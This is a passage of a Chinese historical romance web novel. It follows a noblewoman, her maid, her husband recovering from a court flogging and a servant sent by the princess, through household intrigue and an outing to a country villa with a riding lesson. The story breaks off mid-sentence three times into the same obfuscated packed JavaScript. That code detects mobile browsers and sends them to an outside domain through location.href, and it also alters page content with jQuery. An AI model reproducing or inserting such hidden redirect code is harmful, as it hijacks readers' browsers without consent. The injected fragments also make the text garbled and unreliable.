歆荣不过说着玩，见她认真着急了，连忙起来穿衣服梳洗，嘴里犹道：“我有什么名声？一个女人，除了贤良谦恭，旁的是好是坏，都一点儿不要叫外头知晓，才叫安分守己呢。” 梵烟兀自怄了一会儿，方来给她挑首饰：“这话说得让人灰心。若也像男子一样，建功立业、扬名立万，倒又好了。” 歆荣闻言，拍了拍她虚搁在自己肩上的手。 简单妆扮过，便请纤纤进来。 相比昨晚的鲜焕衣装，她今日形容实可谓素净，穿的是梵烟给她备的一套换洗衣服：藕色衫儿、青缎褙子，下面水绿裙儿。乌油油的头发挽作双鬟，只别着两朵宝石攒花，她头发又极丰茂，很有几分古画上仕女的韵致。 歆荣也无意刁难她，待她见过一回礼，便叫起身坐了，问昨夜歇得还好？又说：“府里人少，内院只一个大厨房，我想着专指一个给你传一日三餐的人，另外添两个近身听候，不知你觉着如何？” 纤纤忙又立起来，低眉道：“奴婢生死全凭夫人，怎敢有挑三拣四的道理？” 歆荣摆手直笑：“又不是上战场杀敌，哪里扯得到生死二字？且你又是长公主殿下所赐，比一概旁人都尊贵，我们自然只有优厚你的。” 因问梵烟：“这一季的衣裳做得了没有？” 梵烟说：“早做得了，前儿全送了来，瞧着倒是满眼花团锦簇的。” 歆荣便又对纤纤说：“既如此，你先将就挑几身。等冬日的料子到了，那时再依你的喜好、量体裁衣。” 纤纤连连说“不敢当”，再三谢过了。 七巧此时走过来，说饭摆好了。 歆荣搭着梵烟的手站起来：“正好，你也一道吃吧，省得来回折腾了。” 纤纤跟随在后，只说：“奴婢伺候夫人。” 梵烟接口：“姐姐只管放心大胆地坐吧！夫人宽和，咱们这里从没让谁站规矩——若姐姐都立着，我们这些人就只好趴在地上吃残羹冷炙了。” 歆荣嗔她：“偏你饶舌。” “不过与姐姐说笑罢了。”梵烟给她张罗盛粥，“往后长日相处的，一板一眼做什么？再者姐姐在这里，一时我就好把衣裳拿来请姐姐挑，少跑一回腿。” “原来打得这个主意。”歆荣按她坐下：“来来来，千万多进补些，别把姑娘辛苦得清减了。” 纤纤见她主仆俩如此，暗想：凭她是真和软也好、做戏博贤名也好，总归已发了话，自己不能不识抬举。因此也择一个下位坐了。 歆荣见人没齐，问：“十锦呢？” 八红说：“喂鹦哥呢，一时还要看着鸟洗澡。让不必等她。” 于是众人用过饭，又换一处闲话，梵烟捧了新衣与纤纤挑选不提。 待客人一走，十锦便回来了，看一眼梵烟给她留的饭，喜道：“夜里还梦见吃栗子糕呢，这就心想事成了。” 九莺端着笔洗走过来，戳了她一指头：“成日家除了吃，再不惦记别的。” 大伙儿都笑，又说：“她长身体呢，怎么不爱吃？” 梵烟与歆荣搭着手裁宣纸，闻言问：“粥凉了不曾？凉了就另换个什么，别吃下去搁在胃里。” 十锦已埋头吃上了，含混答了个“没有”，被八红看了个正着，放下水壶走过来，悄声说她：“就饿成这样。早些说，我先从盒子里拿一碟给你。偏你矫情，不肯与她同桌。” 十锦只不吭声——她年纪最小，新人要自谦，躲不过要挨着她坐。 两个人背地里嘀咕，歆荣梵烟虽隔得远听不见，却看在眼里，不由得对视片刻，又笑起来。 “终是薛盟可恶，甩手不管了。我们这里提起精神来敷衍她，尚不知该礼待她到几分——究竟开不开脸呢，算姨娘还是算什么？” 梵烟说：“他总有气消的时候，到内院来了，姑娘且问明白就是。如今先在他买的那几房人里挑几个稳当的，总不能叫人家洗衣生火都自己来。” 歆荣不无抱怨：“我明儿设个小佛堂躲清净去。”又忖：若是纤纤心正，自己私心倒想梵烟只在自己身边。却不知梵烟自己是什么想头。 梵烟磨了一台墨，二人搦笔蘸了，对坐习字。 如此过了四五日，薛盟却连个人影也不见。歆荣、梵烟暗暗纳罕，这天正好澜序来送几样新鲜盆景，歆荣便问他：“赞善这一向忙？偏我这儿有一桩事要与他商量。” 不想澜序支支吾吾半天，总说不出个所以然来。 歆荣笑了笑，只冲着梵烟：“想必是有机要的公干了，咱们不该胡乱刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083087|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探的。” 澜序“嗐”了一声，抓抓后脑勺，这才露出几分垂头丧气的意思：“不是要瞒着夫人，实在是家主要面子，叫奴才怎么敢说！” 越性上前两步，一手半掩着口，声音低了又低：“两日前进了趟宫，领了二十笞杖，如今还起不来身…” 歆荣梵烟齐齐惊呼，梵烟追问：“所为何事？” 澜序摇头：“主子不说，我们这些做奴才的哪敢多嘴？如今夫人既知道了，还求把上回剩余的生肌药赏我些，商行里竟没有存货了，用旁的又不大见效。” 歆荣忙让梵烟取来，说：“索性你代我去瞧瞧，倘或有个什么吩咐，咱们也帮得上忙呢？” 梵烟答应着，与澜序一道去了。 路上她又问：“大夫如何说？” 澜序一味摇头：“不让请。” “这是跟自己置气不成？”梵烟颇觉无奈：“不告诉我们也罢了，大夫也不看？” 未及走到书房前，只先在门外守着，容澜序进去通报。 薛盟沉默一时，忍不住骂了澜序两句。 梵烟这才掀起帘子进来，见薛盟伏在围榻上，背上搭着一条夹纱夏衾，顿了顿，笑着解围：“不是澜序嘴快，原是我们胁迫他，他敢不说，就叫他在日头底下跪到天黑。” 薛盟会意一笑，谁知又牵扯到背上伤痕，不由皱眉一瞬，见得梵烟手里的药瓶，说：“我好得差不多了，何必兴师动众的？” 梵烟也不点破，只道：“这固然是赞善待夫人的心，只是即便真瞒住了，夫人待赞善的心又如何自处呢？” 薛盟被她说得一时动情，连日里积郁的愤懑狠戾尽化为泡影，徒留些许酸楚。 梵烟见他若有所思，悄悄儿把药交给澜序，正要离去，不想薛盟开口留住她：“夫人这两日好不好？有什么要与我说的？” “夫人一应都好。”梵烟回转过身，“新送来的盆景也喜欢，再得知赞善负了伤受了屈，尚还惦记着她，更加盛情难当了。” 薛盟辗然：“什么盛情不盛情。你们从进了府，又受闲气，又担惊吓……罢了，你且替我问问夫人，天儿也凉爽了，可想去何处散散心？等我略再养养，咱们不待这憋屈地界儿。” 梵烟“唉”了声，又蹲一蹲福，这才告了退。 “…听他话里意思，应当不是大事。尚请你一道游山玩水去呢。”梵烟向歆荣说罢，自斟了茶喝。 歆荣只问：“你怎么不提纤纤的事？” 梵烟一愣：“没觑着合适的时机。毕竟人家还得将养呢，眼下不好再烦他。” “你倒贴心。”歆荣支颐侧首，眼睛只管盯着她笑。 梵烟不肯任她打趣，搁下杯子走开了，手里拨动着南红珠帘，头也不回：“明儿你自己同他说去。我们这些跑腿传话的，小意也使不得，不小意也使不得。” 歆荣见她这番情态，轻巧神情凝滞了一霎，怕被察觉，才又道：“去就去，我最会做恶人了。” 8. 八 次日正逢歆荣信期，不巧这回无端端的，居然作怪起来，浑身不自在，连床也下不了。 梵烟捧着一盏冰糖炖血燕，坐在床边，一匙匙喂她，动作轻柔，嘴里却数落：“什么无端端，准是你贪嘴，哪有把螃蟹都拆了拌面的。那东西鲜归鲜，寒性大着呢。” 歆荣见她此刻一心扑在自己身上，暗觉受用，肉|体的疼痛倒不甚要紧了。存心支使她：“白喝这甜水儿做什么？不如起个锅子涮羊肉吃。” 梵烟却笃信“不时不食”，不依她的。正待再劝，七巧进来，说纤纤到了。 歆荣一听，径直躺回去，也不闹着吃这吃那了，恹恹道：“我身上不得劲儿，梵烟替我回了吧。” 纵是半真半假，梵烟到底不忍勉强她，将燕窝交到七巧手里，嘱咐她必得服侍着歆荣吃完，自己出来应酬纤纤。 “…正是夏秋交替，人有些惓懒而已。听说姐姐来了，心下本来欢喜的，又碍于不曾梳洗，见了面反是失礼。”梵烟与纤纤互相蹲一蹲礼，分坐下来，又斟茶与她。 纤纤接了，暗里盘算：自己日日都来，若真想着一见，自能从容露面，无非仗着嫡庶有别，料定自己唯有忍气吞声的份儿而已。 且不知身上惓懒的说辞是随口诌的，还是真有几分影子——她入府快一旬，从不见薛盟到内院来。 胸中丘壑再深远曲折，面上犹自温驯。拉了几句家常，澜序来了。 他不便进内室，原在院里便叫住了路过的九莺，央她替自己传话。只梵烟顾忌纤纤也在，薛盟受责未必愿意让她知晓，忙忙出来截住话头。 纤纤跟着露了面。澜序不意她钻营到这儿来了，一时讪笑着扯谎：“早先托梵烟姑娘做的几样针线，如今可得了？且交予我带回去。” 梵烟点一点头：“等我取去。”一面请纤纤自便，一面回内间来拾掇绣箩，随手拣了两三个荷包在里头，拿一张帕子掩住了。 歆荣撑起身来：“这是做什么？” “澜序不便让纤纤听见实情，信口说取针线活儿来了，只好凑几样充数。” “偏他会弄鬼。”歆荣嗤了一声，由他们去了。 那边厢，澜序顶着纤纤狐疑的目光，悠然捧着绣箩去了。回到书房，薛盟见只他一人，顿觉失望，可有可无地问：“手里拿的什么？” 澜序如此这般说来。薛盟略略拧眉：“何须乔张做致的？纵她知道了，还能回公主府报信儿去？真肯走倒又好了，连母亲听了也快心些。” 澜序舔了舔唇，劝解道：“爷又何苦往窄里想——再是母子失和，终究''打在儿身、痛在娘心''——况且爷比奴才明白，多半还是今上…” 点到即止。着意换别的话头，澜序便将绣箩里的帕子给薛盟过目：“这绣活儿真是神了，赤鲤鳞片都泛着光似的。” “放回去。”薛盟道：“幌子归幌子，她们姑娘家的东西，别乱碰。” 澜序原不通其中关窍，闻他此言，心中方有些跃跃欲试：难道梵烟姑娘还能要回去？或者我该自觉完璧归赵？ 薛盟不管他那些百转千回，吩咐道：“东西搁好，趁着凉快把药上了。” 澜序赶忙应了，安放好绣箩，又洗净了手，替薛盟揭开薄被，先打了个手巾子小心拭过，边拿丝棉蘸取药膏，边念念有词：“这药确实管用，如今梵烟姑娘额头上一点儿痕迹都没有了。爷再耐着性子敷几回，恢复利索了，走马放鹰哪样不好？再携同夫人她们…” 薛盟听他越说越没谱，不耐烦打断了：“少聒噪。仔细唾沫星子落在药上，我必捶你。”这才清净。 下半晌，梵烟当真来了。 “我们夫人听见说不日要出门，这会儿已然盼上了。原要过来与赞善说话的，无奈这几日身上不好，委实不便来。仍叫我来问安，看看有什么需用，从旁帮衬帮衬。” 她一番娓娓道来，薛盟起起伏伏大半日的心竟安定了。连忙吩咐澜序搬个绣墩，请她坐着，说：“上年我在京郊修了一片别院，房舍虽寻常，胜在地方开阔，依山傍水。还养了几匹马、种了些花木，不论什么季节去了，总有消遣法子。” 梵烟听得神往，思及歆荣从前也常念叨去外面大千世界长见识，没有不答允的。余下的便只有一件事操心：“我先讨个情儿，届时可要许我跟着夫人——另外一桩，纤纤姑娘呢？若是贵客，不好单撇下她自家逍遥去；若是同去，该依着什么例儿来？” 薛盟起初尚眉目含笑，爽快应下的话险些出口，就被这后半截硬生生堵回了去。 此事若落在他人身上，薛盟旁观，必能条分缕析其中利害：欲取之，必先予之。明白抬纤纤作妾，有了身份得了意，无论同行与否，不愁抓不着她的错处敲打，教她往后只能规规矩矩偏安一隅，不敢行差踏错一步。 可他偏偏就在局中，不能不受爱憎左右。 “既然是母亲赐来的人，留在府里镇守不是绝佳之选？再有两位嬷嬷襄协，保管出不了一点岔子。出游是为使夫人开怀，哪能少得了你？随行的人与物，你只管安排就是。” 他自觉权衡有道，不想梵烟眼底暗含些许欲说还休，总归不是领情的样子，一时竟生出几分幽怨来。 梵烟虽不知其所以然，但敏锐捕捉到了他的情思，不忍违拗，嗟叹一声：“明日纤纤姑娘来，我便请她一道过前院面见赞善，再不传这些左右为难的话了！” 她一时本性流露，薛盟唯觉可喜，重新笑逐颜开：“你来我求之不得，谁管旁人如何！” 及见梵烟怔住，方知失言。前者随即站起身，退后两步福了福：“扰赞善多时了，还请安养着吧。我也该回去复命了。”却行出去。 门口闲站着的澜序来不及挽留，朝绣箩看一眼，又朝薛盟看一眼。 梵烟一路疾走，习习凉风拂在脸上，滚烫的两颊慢慢降温，心神也渐定下来，暗里思量：他因极珍重歆荣，素来爱屋及乌，一时忘了形，倒正合他的作派。 前院门栏窗牖皆已被抛在身后，脚步放慢些便也无妨。念及出门时歆荣恢复如常了，自己暂不急着见她，且于沿途景致间流连片刻。 却说薛盟当日修这宅子，着实煞费心血，内院更是三步一奇石、五步一异草，峰回路转里不期柳暗花明。梵烟倚在曲桥栏边看了一会儿水禽，远远望见一丛芍药正秾艳，不由喜出望外，便下了桥寻访过去。 原来这一片日光充沛，其后兼得绿荫环绕，终年温暖宜人，故而值此深秋，仍有花相余容。 梵烟身逢这浩态狂香，恍恍然如梦似幻，痴痴伫立半晌，欲寻个依傍稍缓，退了两步，小臂碰着一蛇形软物，惊了一下，倒醒过神来，定睛再看，原来是一架碧藤秋千。 她这才后知后觉，甫进府时便听说是薛盟特为歆荣所架，惜乎歆荣自小对这些玩意儿兴趣缺缺，一直不曾来过。 梵烟倒有些意动，只是歆荣没坐过，自己总不该抢了先。便悉心撷了数枝婪尾春在手中，想着哄歆荣高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083088|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，明儿就能撺掇着她同来了。 步履轻矫进了院门，一眼看见歆荣立在廊下和八红说话，梵烟忙把花束藏在身后，笑盈盈走上前，唤了声“夫人”。 歆荣一见她便展颜：“跑哪儿玩去了？脸晒得红红的。” 梵烟略显得意地摇摇头，把花举到她跟前：“瞧！” “这倒稀罕！”歆荣赞叹一时，问：“何处有这么一块宝地？” 梵烟连忙绘声绘色向她描述一通，歆荣明白了，随即说：“咱们明日就逛逛去。” 梵烟得偿所愿，又惦记一点：“你身上不要紧吗？” 歆荣道无碍，“正因躺着无聊，才出来透透气呢。”拉了她进屋，暗想，横竖叫这些小妹妹们轮着玩几回就是了，自己才不爱荡秋千。 到了里间，七巧捧来一尊琮式青釉瓶，梵烟将花插了，方对歆荣细说薛盟的态度。 “你做得对。”歆荣琢磨一回，道：“这么着，明儿我带纤纤去前头问个安，你索性别跟着，咱们只作事先不知情，有什么话，叫薛盟当面告诉她。” 梵烟深知这回避免不了要得罪人的，歆荣护着自己，亲自顶在头里。偏生自己心里不自在，竟想不出更和缓的法子。 思量再三，当着歆荣的面嘱咐七巧：“你且去澜序那儿递个风，说夫人明早携纤纤姑娘去问安，请家主千万赏脸。”七巧答应去了。 “你就是太小心了。”歆荣打趣着，摸了摸她的脸儿：“怪叫人疼的。” 梵烟笑乜了她一眼，复垂下眸，任凭她摸。 第二天纤纤再来，歆荣已梳好了头，坐在镜前正比首饰，梵烟在旁递匣子。 纤纤才要蹲福，歆荣便抬手让免礼，笑道：“蓬头垢面几日，竟不会打扮了。” 梵烟笑而不言。纤纤见机上前，凑趣道：“夫人恰似那九天神女一般，戴什么不好看？” 空溜须拍马不能入人家的眼，暗中再觑了觑歆荣身上穿的杏子红遍地撒花对襟衫儿，斟酌着道：“夫人这通身的气派，必得金饰方不辱没，与季节也相宜。若只选赤金，又不合夫人年华鼎盛，终归夹嵌着彩宝、珍珠一类，才算妙极。” 歆荣侧身听罢，眼中含了一分赞许，吩咐梵烟：“就依纤纤所说，把那只猫儿眼累丝的拿来。” 梵烟“唉”一声，捧出匣子打开，却呈至纤纤眼前。里面原来是一只累丝偏凤钗，金丝拉得极细，纤毫必见，眼睛及尾羽上则点缀着金绿猫儿眼，静搁着已是流光溢彩，簪在头上走动起来，不知还要如何摄人心魄。 纤纤从前近身侍奉长公主，自然也见过许多难得的钗环，这等品相的也不缺。不过惯常是打做正凤、配成整套头面的，要紧场合也戴得。偏偏在歆荣这儿，只作了一支家常妆点的钗子。 叫她如何不生羡？小心翼翼接过手，又恭恭敬敬替歆荣插在发间。 歆荣对这些小算计浑然不觉，对镜看了一眼，顺手将另一只盒中的一对佛手花枝簪予她簪在两鬓：“来，你戴这个。” 纤纤半屈着腿动弹不得，唯有口中急忙推辞：“奴婢可当不起！” “有什么当不起的？”歆荣道：“且由我打扮，一时好带去请赞善瞧瞧，打扮得好不好。” 纤纤顿时领会过来，暗暗遂意，低眉细声答了个“是”。 一应妥当了，歆荣站起身，随口吩咐梵烟：“去看着厨房些，别又混抓坛子使用，糟蹋了我的好玫瑰。”自己扶了纤纤的手，款款向前院去。 9. 九 书房里点了温成皇后荔枝香，书案上摆着一套兔毫盏茶器。薛盟正襟危坐于案后，手里捧着一卷《香说》，却是一个字也没看进去。 一则他背上的伤还没好全，强行沐浴更衣折腾了一回，又端坐小半个时辰，难免吃力。 二则他于香道茶道历来只知享用，从未细研根底，哪有趣味可言？不过是得知歆荣要来，总得寻一二雅事闲话。 至于纤纤，他全没放在眼里，当面提点两句，自然就打发回去了。 好容易等到澜序通传，薛盟搁下书连忙让请，进来的除了歆荣，只有纤纤一人。 薛盟见她便厌，心下不觉淡了两分，只招呼了歆荣对坐，烹茶奉于她。 歆荣屈指轻叩桌案道谢，寒暄两句，渐渐将话头引到纤纤身上。 薛盟没让她为难，径直道：“母亲爱护我们，特意赐了个她这样得力的人来。正巧你在府里久不出门，身子骨自然日渐娇弱，连我近来也甚觉不痛快，很该出去走动走动、换换心肠。” 说着转向纤纤：“从前府里没有一个抵用的人，奈何不得。你来了极好，横竖平日里事情也没有两件，你皆做得主，再不然，还有两位宫里出来的嬷嬷呢。我知你在母亲身边时，这些都是最娴熟的，这会儿可别推脱自谦，不然就是敷衍我们了。” 纤纤起初听到他们出门单撇开自个儿，一颗心便直往下沉；及至许她理事管家，却不许名分，越知薛盟不待见她，自己出力也讨不了好，往后的前程可谓一眼无望。 但从薛盟尚幼住在公主府时，到搬出另过，又娶亲成家，这十数年母子之间的交锋，她都屡次旁观过。长公主占据着孝道的高地，对儿子的不驯只知伤心幽愤，并不比她看得透彻——绝大多数时候，薛盟都是个软硬不吃的主儿。 眼下他主意已定，任凭自己怎么恳求都动摇不了分毫，还会惹得他更为不悦。莫若先顺从应下，将来见机而作，兴许还有他回心转意的可能。 念及此节，纤纤微垂下头，起身又蹲一回礼：“既然家主有命，奴婢拼死也不敢辜负。”余光瞥向薛盟一霎，见他摆了摆手，方才怯怯退出门去。 澜序这回长了心眼，再溜得没影儿了。四下无人，纤纤究竟按捺不住，两行清泪滚下来，再不能断绝。 她一面拿手帕拭着，一面往自己院子走。半路正遇上歆荣给她专门提餐的秋雁，小丫头迎上来关切道：“姑娘怎的了？叫我好找！” 纤纤立时骂她：“我去哪里，还要求你恩准不成？每日家端几样饭食来，便以为自己是什么大功臣吗？” 秋雁引火上身，不敢回嘴，鹌鹑似的缩起脖子，唯能受着而已。 无论如何，动身的日子定了，大伙儿也就打点起了随身包袱。 八红悄悄告诉梵烟，秋雁正暗里寻辙，想换个地方当差。 梵烟一听，停下手里活计：“怎么不来禀夫人，非得舍近求远找门路？” 八红这上头比她更明白些：“她本是跟着娘老子一家投身进来的，因为府里主子原只两位，没那许多差事，起初被派在湖心亭看屋子，后来因夫人吩咐，才去了纤纤姑娘那儿，月例从二三百钱涨到了一吊，谁不说是高升？如今却要辞掉，倒像不识抬举。” 说着反劝梵烟：“姐姐不知，他们一道来的几房人，彼此干爹干娘干儿干女认了不少呢！私底下哥姐弟妹的叫，真有了好去处，个个心里有一把好算盘。秋雁想退下，多的是人想顶上呢，何不由着他们显神通？” 梵烟嗔她：“属你精怪，隔岸观火，巴不得烧大些热闹。” 八红笑嘻嘻的，也不反驳。 “她不挑明，咱们确实不好大包大揽——毕竟她名头上仍是纤纤姑娘的人，真有个什么，自然有姑娘处置。”到时他们都走了，正好看看纤纤行事如何。 背地里无人时，为求稳妥，梵烟仍是向歆荣通了气。 “随她们去呗！”歆荣比八红还刁钻：“天高任鸟飞，海阔凭鱼跃。咱们不在，兴出多少风浪呢，也自有人治理。” 梵烟早看出来了：两位嬷嬷住在府里，显然是身份特殊大于实际作用，一向恪守礼节，从不沾染是非。若还有谁出手，就只能是长公主了。 沉思一阵，她越发小声些：“依我看，薛赞善并不是那等心胸狭隘之人，怎么这般容不下纤纤？难道在宫里挨的一顿打，皆因长公主告了御状？” 歆荣嗤嗤笑起来：“你当当今天子是戏文里的包青天、专断家长里短？姐弟也好，甥舅也好，终究越不过君臣去。” 掩口打了个呵欠，又说：“越扯越远了。赶紧睡上一觉，早起出发是正经。” 梵烟还待再问，至此也只好作罢了。 次日月牙儿还挂在树梢上，房里已点起了灯，十锦满头是汗地解开包袱，重新往里塞东西。 “收拾了多少天，还是丢三落四的。”九莺看得好笑，连忙上来搭手：“帕子面脂都不要紧，谁都能匀你一些…怎么还有一包土？” 十锦红了脸：“夫人没出过远门，带上这个，能防水土不服。” 歆荣正与梵烟说着话，闻声既是感念，又是忍俊不禁：“多谢你周到。” 其余人见状，也就都不说穿——别院虽说出了城门，但仍属帝京下辖，实在是一样的水土。 拾掇停当，大伙儿乘轿的、跟车的，包袱挎在臂弯，箱笼堆在车后，咭咭呱呱，说笑不绝。 只九莺不去，“山林里住了八年，就捡了八年枯枝野果，再不向往那日子”。自请留下来看屋。 以至马车驶过府前大路，梵烟仍频频回头张望，自是什么也看不见。 歆荣酸道：“就这么难舍难分的，余下咱们都是外人了。” “略觉感伤罢了。”梵烟似喜似嗔：“咱们这几个人，少有分开的，偏她又是为这样的缘故，我如何不感同身受？” 歆荣跟着太息一回：“那一年你家里来信，说到乡下舅家躲兵祸，哪里能想到自此就断了音讯。” 其实梵烟还瞒了她一部分：爹在信里说，这一季家里多打了许多粮食，碍于米价实贱，她的身价银还差一点儿，安慰她再捱一年，打起仗来，米面便卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083089|179447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得起价了，明年这时候必能接她回去团聚。 “世间不如意十之八九，想多了只是自苦。”梵烟努力扬了扬唇角：“东坡词里说得是，但愿人长久，千里共婵娟。” 天未破晓就出门，暮色四合才抵达。酡红的夕阳归了家，梵烟与歆荣立在小楼的窗前，因为跋涉半日，刚沐浴过，绞干的青丝松松挽在脑后，换了燕居服色，擎着“千里眼”，遥遥指着一城沙盘似的亭台楼阁猜地方。 “家主来了。”十锦重扎了两小髻，蹦蹦跳跳地进屋来通传。 薛盟跟在后头，随手将缂丝门帘儿打得更高些：“我才去马场看过，恰巧有两三匹小马驹，性子都温顺。明儿咱们跑上几圈去！” 歆荣忙请他坐，梵烟点了两盏木樨茶，用一只填漆茶盘端来，又奉上几色糕果。 薛盟因是骑马来的，脚程比她们快许多，已将四周大略巡视了一回，留驻此处的管事等人又来见礼，少不得耽搁片刻，这会儿正觉得口干舌燥，一气将茶喝尽了，又劳梵烟来添。 见梵烟只管低头倒茶，并不说话，他便开口笑道：“晚上有个什么''桂花三绝''，他们当献宝一样——依我看，未必如眼前这盏清茶可心。” 歆荣既答应与他同游，自能料想到共处的时候必定大增，二人之间实没有生分到饭都不能同桌吃的地步，因此掩口笑了笑，接话道：“我只知咏桂诗有''三绝''之说，其实文无第一，所以历来众说纷纭。至于你说的三绝，听着倒像是吃食？” 薛盟说是，“我久不来这边，他们无处施展本事，故而也无甚进项——而今可不得显弄显弄？” 说话间，厨下女人已经到了，进来见过礼，问询是否摆饭。 薛盟允了，她便又请主家移动尊步，到临水的另一侧就坐。 歆荣来了点儿兴趣，便依她所言。 两个婢子跟随其后，将手中镂空琉璃灯置于高架上，两厢辉映，果有月相变换之态。 再看椅上搭的，亦非寻常锦茵，而是填有新鲜桂叶的蒲团，入座后渐感暗香浮动。 女人又将一竹筒香名曰“桂髓”的交予梵烟，请她以银匙取些，点在薰炉中。 两个歌姬捧了琵琶来献艺，薛盟忙摆手道：“曲就免了，且容我们清净吃顿饭吧。” 于是肴馔流水般奉上：“三弄冰魄盏”、“天酒煨鹿脔”、“芙蓉蟹雪盅”、“霓裳素卷”、“金桂流霞糕”、“冷烟木樨雪”、“榴花饭”…般般名目，简直样样有出处，道道有典故。 雅则雅极，太穿凿些。薛盟暗觉汗颜：新夫人出自诗礼清流之门，这些奴才岂有不知的？偏将这谄媚工夫做得过于贻笑大方了。 歆荣亦想：果真不如先前的木樨茶。 七巧三人被这阵势唬住了，不敢放肆。梵烟也不知怎地，对歆荣几次递来的眼色都浑然不觉，只管侍立一旁。 薛盟却知她们一贯同吃同住，这会儿她离得远远的，恐怕还是自己前番造次的缘故。 一顿饭竟无人细品其中意趣，未几便尽数撤下了，梵烟也悄然退了出去。 10. 十 薛盟又坐了一阵，向歆荣道：“明日我差人给你送骑装来。也不必赶早，秋日里晨露尚重，没得受了寒气。” 歆荣答应着，起身目送他离去。 薛盟借着月色，在二楼环顾一周，不见梵烟的身影。踟蹰片刻，下楼来，但见外面月淡风清，确比适才的假月虚桂真切许多。 澜序迎上来，唤了声“爷”，又笑着往楼后头一指：“您听。” “…真没见识，这怎么会是鸭子？分明就是鸳鸯！”一个小丫头说。 另一个道：“鸳鸯原是文彩辉煌的，连绣它都必得掺着金银线绣，如何会是这灰扑扑模样？” 又一人“嘘”了一声——薛盟听出来这是梵烟——“你们小声些吧，没看见人家都躲在枯荷底下睡去了？咱们也该回了。” 一转身，就见薛盟站在不远处，含笑朝这里望着。 梵烟只得上前，福一福：“奔波了半日，家主请早些歇息吧。” 薛盟漫应了声，靠近半步，放轻了声音：“上回言语冒失，唐突了姑娘，至今方得以当面赔礼，还望姑娘大人不记小人过。” “赞善这话太重了。”梵烟微微欠身：“您是家主，我们不过婢子，怎有''大人''、''小人''尊卑颠倒的道理？只言片语的微末小节，更是不值挂怀。夜深了，还请容我们告退。” 薛盟无端黯然，却依旧正色：“是我不周到。然而我想，身份有别，血肉之躯无别，喜怒哀乐，犹是人之常情。做主子的若无端欺辱仆婢，终究可恶。” 见梵烟避而不答，他只好略一侧身，让她们从旁离去了。 八红十锦想问不敢问，上楼见了歆荣，更是无话，一时各自洗漱，也就睡下了。 下弦月亦乏了，掩在婆娑枝叶后，喜怒难辨。 梵烟择床，一夜不大安稳，挣扎着起身时，骑装已经送来了。 七巧她们正展开细端详——天青暗花比甲是合体裉身的式样，边缘滚一道细细的银线锁边，领口及两侧开衩处缀着鎏金葡萄藤纽扣。下边儿一袭大红马面裙，金线彩丝绣着“莲生贵子”，斑斓如浪，华彩非凡。 “天青配朱红，倒真是既雅且艳。”歆荣里面穿了珠白细绫衫子，上身一试，果然再合宜不过。 连首饰也想着了。嵌黄碧玺葵花金簪围饰十六颗红蓝宝石，并一对累丝编织菊花簪，好一派秋意盎然。 歆荣梳了个一窝丝，穿戴完毕，澜序又来请一回，说家主在楼下恭候。 梵烟忙替她理了理压裙的白玉双鹿山石佩，笑道：“一会儿不说猎一头鹿，好歹捉两只野兔回去养。” “我头一回骑马，你就这般考校我？”歆荣笑着，一面往外走，一面道：“今儿凉爽宜人，不拘你们怎样玩乐都使得。我先胡乱试试，果然能驾驭，也让你们新鲜一回。”三个小的无有不应。 说话间拾阶而下，薛盟闻声回过头，歆荣向他一福，薛盟还了一揖，二人并肩往马场走去。 时在深秋，这一方天地间却全无萧瑟气息。枫林如火，水草丰茂，碧空澄澈高远，几缕薄云如丝。 几匹棕红雪白的小马驹提早被马倌牵了过来，正悠闲地聚在一起，低头啃食遍地的苜蓿草，皮毛在秋阳下泛着柔和的光泽。 歆荣深吸一口气，压下心头那份初学的雀跃与微怯。在马倌的指点下，她小心翼翼地靠近了一匹小白马，学着轻抚马颈。 小马驹温顺地打了个响鼻，湿漉漉的大眼睛好奇地看着她。薛盟在旁静立，目光温和而专注，并不急于催促。 “夫人莫怕，它性子最是柔顺，”马倌的声音恭敬而低稳，“先慢些，感受它的步伐。” 歆荣依言，一人一马无声彼此打量一回，算是相识了，她这才缓缓攀上马背。 马倌牵着缰绳，引着她俩缓缓绕着场边慢行。起初，歆荣身体僵硬，不敢把自身的重量完全托付给小马儿，随着马背的起伏，腰肢略显笨拙地晃动，双手紧紧攥着鞍头。 薛盟耐心地跟在几步之外，偶尔低声提醒：“放松些，目视前方……对，随它起伏，莫要较劲。” 渐渐地，歆荣紧绷的肩背松弛下来。她开始尝试舒展肢体，双腿轻夹马腹，小马驹顺从地加快了步伐，小跑起来。 风拂过她的面颊，掠起鬓边散落的发丝，也吹散了最后一丝紧张。一种前所未有的自由与掌控感油然而生，她脸上绽开了明亮畅快的笑容。 “好极了！”薛盟见状，翻身上了自己的棕色骏马，策马靠近，与歆荣并辔而行。 “感觉如何？”他笑问，目光落在她因兴奋而微微泛红的脸颊上。 